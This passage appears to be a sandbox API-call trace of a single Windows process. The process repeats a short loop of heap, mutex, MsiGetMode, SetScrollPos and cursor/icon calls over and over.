	[0094.996] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.996] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.996] GetCurrentProcessId () returned 0xb50
	[0094.996] GetLastError () returned 0x578
	[0094.996] GetLastError () returned 0x578
	[0094.996] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.996] GetLastError () returned 0x0
	[0094.996] ReleaseMutex (hMutex=0x360) returned 1
	[0094.996] CloseHandle (hObject=0x360) returned 1
	[0094.996] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=815996596, bRedraw=1) returned 0
	[0094.996] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.996] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.996] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.997] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.997] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.997] GetCurrentProcessId () returned 0xb50
	[0094.997] GetLastError () returned 0x578
	[0094.997] GetLastError () returned 0x578
	[0094.997] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.997] GetLastError () returned 0x0
	[0094.997] ReleaseMutex (hMutex=0x360) returned 1
	[0094.997] CloseHandle (hObject=0x360) returned 1
	[0094.997] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-712553118, bRedraw=1) returned 0
	[0094.997] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.997] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.997] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.997] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.997] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.997] GetCurrentProcessId () returned 0xb50
	[0094.997] GetLastError () returned 0x578
	[0094.997] GetLastError () returned 0x578
	[0094.997] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.997] GetLastError () returned 0x0
	[0094.997] ReleaseMutex (hMutex=0x360) returned 1
	[0094.997] CloseHandle (hObject=0x360) returned 1
	[0094.999] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2063494416, bRedraw=1) returned 0
	[0094.999] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.999] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.999] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.999] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.999] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.999] GetCurrentProcessId () returned 0xb50
	[0094.999] GetLastError () returned 0x578
	[0094.999] GetLastError () returned 0x578
	[0094.999] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.999] GetLastError () returned 0x0
	[0094.999] ReleaseMutex (hMutex=0x360) returned 1
	[0094.999] CloseHandle (hObject=0x360) returned 1
	[0094.999] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=554204606, bRedraw=1) returned 0
	[0095.000] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.000] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.000] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.000] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.000] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.000] GetCurrentProcessId () returned 0xb50
	[0095.000] GetLastError () returned 0x578
	[0095.000] GetLastError () returned 0x578
	[0095.000] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.000] GetLastError () returned 0x0
	[0095.000] ReleaseMutex (hMutex=0x360) returned 1
	[0095.000] CloseHandle (hObject=0x360) returned 1
	[0095.000] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-945455252, bRedraw=1) returned 0
	[0095.000] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.000] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.000] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.000] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.000] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.000] GetCurrentProcessId () returned 0xb50
	[0095.000] GetLastError () returned 0x578
	[0095.000] GetLastError () returned 0x578
	[0095.001] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.001] GetLastError () returned 0x0
	[0095.001] ReleaseMutex (hMutex=0x360) returned 1
	[0095.001] CloseHandle (hObject=0x360) returned 1
	[0095.001] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1859482138, bRedraw=1) returned 0
	[0095.001] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.001] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.001] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.001] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.001] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.001] GetCurrentProcessId () returned 0xb50
	[0095.001] GetLastError () returned 0x578
	[0095.001] GetLastError () returned 0x578
	[0095.001] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.001] GetLastError () returned 0x0
	[0095.001] ReleaseMutex (hMutex=0x360) returned 1
	[0095.001] CloseHandle (hObject=0x360) returned 1
	[0095.001] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=379082184, bRedraw=1) returned 0
	[0095.001] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.001] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.002] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.002] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.002] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.002] GetCurrentProcessId () returned 0xb50
	[0095.002] GetLastError () returned 0x578
	[0095.002] GetLastError () returned 0x578
	[0095.002] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.002] GetLastError () returned 0x0
	[0095.002] ReleaseMutex (hMutex=0x360) returned 1
	[0095.002] CloseHandle (hObject=0x360) returned 1
	[0095.002] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1091687818, bRedraw=1) returned 0
	[0095.002] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.002] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.002] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.002] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.002] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.002] GetCurrentProcessId () returned 0xb50
	[0095.002] GetLastError () returned 0x578
	[0095.002] GetLastError () returned 0x578
	[0095.002] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.002] GetLastError () returned 0x0
	[0095.002] ReleaseMutex (hMutex=0x360) returned 1
	[0095.003] CloseHandle (hObject=0x360) returned 1
	[0095.003] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1742139428, bRedraw=1) returned 0
	[0095.003] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.003] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.003] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.003] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.003] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.003] GetCurrentProcessId () returned 0xb50
	[0095.003] GetLastError () returned 0x578
	[0095.003] GetLastError () returned 0x578
	[0095.003] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.003] GetLastError () returned 0x0
	[0095.003] ReleaseMutex (hMutex=0x360) returned 1
	[0095.003] CloseHandle (hObject=0x360) returned 1
	[0095.003] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=290629330, bRedraw=1) returned 0
	[0095.003] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.003] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.003] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.003] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.003] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.004] GetCurrentProcessId () returned 0xb50
	[0095.004] GetLastError () returned 0x578
	[0095.004] GetLastError () returned 0x578
	[0095.004] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.004] GetLastError () returned 0x0
	[0095.004] ReleaseMutex (hMutex=0x360) returned 1
	[0095.004] CloseHandle (hObject=0x360) returned 1
	[0095.004] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1151250816, bRedraw=1) returned 0
	[0095.004] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.004] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.004] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.004] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.004] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.004] GetCurrentProcessId () returned 0xb50
	[0095.004] GetLastError () returned 0x578
	[0095.004] GetLastError () returned 0x578
	[0095.004] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.004] GetLastError () returned 0x0
	[0095.004] ReleaseMutex (hMutex=0x360) returned 1
	[0095.004] CloseHandle (hObject=0x360) returned 1
	[0095.004] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1711466286, bRedraw=1) returned 0
	[0095.004] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.005] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.005] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.005] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.005] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.005] GetCurrentProcessId () returned 0xb50
	[0095.005] GetLastError () returned 0x578
	[0095.005] GetLastError () returned 0x578
	[0095.005] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.005] GetLastError () returned 0x0
	[0095.005] ReleaseMutex (hMutex=0x360) returned 1
	[0095.005] CloseHandle (hObject=0x360) returned 1
	[0095.005] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=288846044, bRedraw=1) returned 0
	[0095.005] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.005] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.005] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.005] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.005] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.005] GetCurrentProcessId () returned 0xb50
	[0095.005] GetLastError () returned 0x578
	[0095.005] GetLastError () returned 0x578
	[0095.005] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.005] GetLastError () returned 0x0
	[0095.006] ReleaseMutex (hMutex=0x360) returned 1
	[0095.006] CloseHandle (hObject=0x360) returned 1
	[0095.006] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1124144246, bRedraw=1) returned 0
	[0095.006] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.006] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.006] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.006] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.006] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.006] GetCurrentProcessId () returned 0xb50
	[0095.006] GetLastError () returned 0x578
	[0095.006] GetLastError () returned 0x578
	[0095.006] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.006] GetLastError () returned 0x0
	[0095.006] ReleaseMutex (hMutex=0x360) returned 1
	[0095.006] CloseHandle (hObject=0x360) returned 1
	[0095.006] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1767462712, bRedraw=1) returned 0
	[0095.006] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.006] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.006] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.006] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.006] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.007] GetCurrentProcessId () returned 0xb50
	[0095.007] GetLastError () returned 0x578
	[0095.007] GetLastError () returned 0x578
	[0095.007] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.007] GetLastError () returned 0x0
	[0095.007] ReleaseMutex (hMutex=0x360) returned 1
	[0095.007] CloseHandle (hObject=0x360) returned 1
	[0095.007] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=373732326, bRedraw=1) returned 0
	[0095.007] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.007] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.007] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.008] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.008] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.008] GetCurrentProcessId () returned 0xb50
	[0095.008] GetLastError () returned 0x578
	[0095.008] GetLastError () returned 0x578
	[0095.008] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.008] GetLastError () returned 0x0
	[0095.008] ReleaseMutex (hMutex=0x360) returned 1
	[0095.008] CloseHandle (hObject=0x360) returned 1
	[0095.008] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1010368108, bRedraw=1) returned 0
	[0095.009] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.009] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.009] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.009] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.009] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.009] GetCurrentProcessId () returned 0xb50
	[0095.009] GetLastError () returned 0x578
	[0095.009] GetLastError () returned 0x578
	[0095.009] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.009] GetLastError () returned 0x0
	[0095.009] ReleaseMutex (hMutex=0x360) returned 1
	[0095.009] CloseHandle (hObject=0x360) returned 1
	[0095.009] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1910128706, bRedraw=1) returned 0
	[0095.009] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.009] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.009] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.009] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.009] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.009] GetCurrentProcessId () returned 0xb50
	[0095.009] GetLastError () returned 0x578
	[0095.009] GetLastError () returned 0x578
	[0095.009] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.010] GetLastError () returned 0x0
	[0095.010] ReleaseMutex (hMutex=0x360) returned 1
	[0095.010] CloseHandle (hObject=0x360) returned 1
	[0095.010] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=545288176, bRedraw=1) returned 0
	[0095.010] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.010] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.010] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.010] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.010] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.010] GetCurrentProcessId () returned 0xb50
	[0095.010] GetLastError () returned 0x578
	[0095.010] GetLastError () returned 0x578
	[0095.010] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.010] GetLastError () returned 0x0
	[0095.010] ReleaseMutex (hMutex=0x360) returned 1
	[0095.010] CloseHandle (hObject=0x360) returned 1
	[0095.010] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-809922402, bRedraw=1) returned 0
	[0095.010] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.010] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.010] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.011] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.011] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.011] GetCurrentProcessId () returned 0xb50
	[0095.011] GetLastError () returned 0x578
	[0095.011] GetLastError () returned 0x578
	[0095.011] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.011] GetLastError () returned 0x0
	[0095.011] ReleaseMutex (hMutex=0x360) returned 1
	[0095.011] CloseHandle (hObject=0x360) returned 1
	[0095.011] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2139464268, bRedraw=1) returned 0
	[0095.011] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.011] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.011] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.011] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.011] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.011] GetCurrentProcessId () returned 0xb50
	[0095.011] GetLastError () returned 0x578
	[0095.011] GetLastError () returned 0x578
	[0095.011] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.011] GetLastError () returned 0x0
	[0095.011] ReleaseMutex (hMutex=0x360) returned 1
	[0095.011] CloseHandle (hObject=0x360) returned 1
	[0095.011] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=803513594, bRedraw=1) returned 0
	[0095.209] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.209] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.209] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.209] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.209] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.209] GetCurrentProcessId () returned 0xb50
	[0095.209] GetLastError () returned 0x578
	[0095.210] GetLastError () returned 0x578
	[0095.210] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.210] GetLastError () returned 0x0
	[0095.210] ReleaseMutex (hMutex=0x360) returned 1
	[0095.210] CloseHandle (hObject=0x360) returned 1
	[0095.210] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-522807128, bRedraw=1) returned 0
	[0095.210] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.210] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.210] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.210] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.210] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.210] GetCurrentProcessId () returned 0xb50
	[0095.210] GetLastError () returned 0x578
	[0095.210] GetLastError () returned 0x578
	[0095.210] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.210] GetLastError () returned 0x0
	[0095.210] ReleaseMutex (hMutex=0x360) returned 1
	[0095.210] CloseHandle (hObject=0x360) returned 1
	[0095.210] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1839497898, bRedraw=1) returned 0
	[0095.211] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.211] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.211] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.211] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.211] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.211] GetCurrentProcessId () returned 0xb50
	[0095.211] GetLastError () returned 0x578
	[0095.211] GetLastError () returned 0x578
	[0095.211] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.211] GetLastError () returned 0x0
	[0095.211] ReleaseMutex (hMutex=0x360) returned 1
	[0095.211] CloseHandle (hObject=0x360) returned 1
	[0095.211] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1148408580, bRedraw=1) returned 0
	[0095.211] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.211] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.211] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.211] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.211] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.211] GetCurrentProcessId () returned 0xb50
	[0095.211] GetLastError () returned 0x578
	[0095.211] GetLastError () returned 0x578
	[0095.212] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.212] GetLastError () returned 0x0
	[0095.212] ReleaseMutex (hMutex=0x360) returned 1
	[0095.212] CloseHandle (hObject=0x360) returned 1
	[0095.212] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-149022286, bRedraw=1) returned 0
	[0095.212] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.212] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.212] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.212] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.212] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.212] GetCurrentProcessId () returned 0xb50
	[0095.212] GetLastError () returned 0x578
	[0095.212] GetLastError () returned 0x578
	[0095.212] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.212] GetLastError () returned 0x0
	[0095.212] ReleaseMutex (hMutex=0x360) returned 1
	[0095.212] CloseHandle (hObject=0x360) returned 1
	[0095.212] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1436823200, bRedraw=1) returned 0
	[0095.212] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.212] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.212] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.213] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.213] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.213] GetCurrentProcessId () returned 0xb50
	[0095.213] GetLastError () returned 0x578
	[0095.213] GetLastError () returned 0x578
	[0095.213] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.213] GetLastError () returned 0x0
	[0095.213] ReleaseMutex (hMutex=0x360) returned 1
	[0095.213] CloseHandle (hObject=0x360) returned 1
	[0095.213] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1579973134, bRedraw=1) returned 0
	[0095.213] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.213] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.213] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.213] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.213] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.213] GetCurrentProcessId () returned 0xb50
	[0095.213] GetLastError () returned 0x578
	[0095.213] GetLastError () returned 0x578
	[0095.213] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.213] GetLastError () returned 0x0
	[0095.213] ReleaseMutex (hMutex=0x360) returned 1
	[0095.213] CloseHandle (hObject=0x360) returned 1
	[0095.213] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=311432124, bRedraw=1) returned 0
	[0095.214] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.214] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.214] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.214] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.214] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.214] GetCurrentProcessId () returned 0xb50
	[0095.214] GetLastError () returned 0x578
	[0095.214] GetLastError () returned 0x578
	[0095.214] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0095.214] GetLastError () returned 0x0
